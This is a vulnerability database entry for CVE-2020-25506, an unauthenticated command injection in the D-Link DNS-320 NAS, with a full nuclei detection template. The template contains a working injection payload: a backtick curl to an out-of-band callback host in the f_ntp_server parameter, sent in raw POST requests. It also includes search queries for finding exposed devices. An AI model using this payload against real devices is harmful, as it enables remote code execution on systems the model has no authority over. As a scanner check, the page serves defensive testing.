HexBrain

Browse / CVEs / CVE-2020-25506

CVE-2020-25506· dlink / dns-320 firmware· CWE-78

D-Link DNS-320 - Unauthenticated Remote Code Execution

Exploited in the wild. Listed by CISA on 2021-11-03; known to be used by ransomware.

criticalseverity
9.8CVSS score
100%likelihood of exploitation, next 30 days
100%of all CVEs are less likely
Readycheck to confirm it

D-Link DNS-320 FW v2.06B01 Revision Ax is susceptible to a command injection vulnerability in a system_mgr.cgi component. The component does not successfully sanitize the value of the HTTP parameters f_ntp_server, which in turn leads to arbitrary command execution.

Impact

Successful exploitation of this vulnerability allows remote attackers to execute arbitrary code on the affected device.

Fix

Apply the latest firmware update provided by D-Link to mitigate this vulnerability.

How to confirm it

Send: POST /cgi-bin/system_mgr.cgi? ; POST /cgi-bin/system_mgr.cgi?C1=ON&cmd=cgi_ntp_time&f_ntp_server=`curl http://{{interactsh-url}} -H 'User-Agent: {{useragent}}'`
Positive when: contains in interactsh_protocol "http" AND contains in interactsh_request "User-Agent: {{useragent}}"

Run it with nuclei: nuclei -id CVE-2020-25506 -u <target>. This check is not marked as verified by its authors.

The full check
id: CVE-2020-25506

info:
  name: D-Link DNS-320 - Unauthenticated Remote Code Execution
  author: gy741
  severity: critical
  description: D-Link DNS-320 FW v2.06B01 Revision Ax is susceptible to a command injection vulnerability in a system_mgr.cgi component. The component does not successfully sanitize the value of the HTTP parameters f_ntp_server, which in turn leads to arbitrary command execution.
  impact: |
    Successful exploitation of this vulnerability allows remote attackers to execute arbitrary code on the affected device.
  remediation: |
    Apply the latest firmware update provided by D-Link to mitigate this vulnerability.
  reference:
    - https://gist.github.com/WinMin/6f63fd1ae95977e0e2d49bd4b5f00675
    - https://unit42.paloaltonetworks.com/mirai-variant-iot-vulnerabilities/
    - https://nvd.nist.gov/vuln/detail/CVE-2020-25506
    - https://supportannouncement.us.dlink.com/announcement/publication.aspx?name=SAP10183
    - https://www.dlink.com/en/security-bulletin/
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2020-25506
    cwe-id: CWE-78
    epss-score: 0.99968
    epss-percentile: 0.99977
    cpe: cpe:2.3:o:dlink:dns-320_firmware:2.06b01:*:*:*:*:*:*:*
  metadata:
    max-request: 2
    vendor: dlink
    product: dns-320_firmware
    shodan-query: http.html:"sharecenter"
    fofa-query: body="sharecenter"
  tags: cve,cve2020,dlink,rce,oast,mirai,unauth,router,kev,vkev,vuln
variables:
  useragent: '{{rand_base(6)}}'

http:
  - raw:
      - |
        POST /cgi-bin/system_mgr.cgi? HTTP/1.1
        Host: {{Hostname}}
        Accept: */*

        C1=ON&cmd=cgi_ntp_time&f_ntp_server=`curl http://{{interactsh-url}} -H 'User-Agent: {{useragent}}'`
      - |
        POST /cgi-bin/system_mgr.cgi?C1=ON&cmd=cgi_ntp_time&f_ntp_server=`curl http://{{interactsh-url}} -H 'User-Agent: {{useragent}}'` HTTP/1.1
        Host: {{Hostname}}
        Accept: */*

    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol # Confirms the HTTP Interaction
        words:
          - "http"

      - type: word
        part: interactsh_request
        words:
          - "User-Agent: {{useragent}}"

References

Use this check only on systems you are authorised to test. Where the data comes from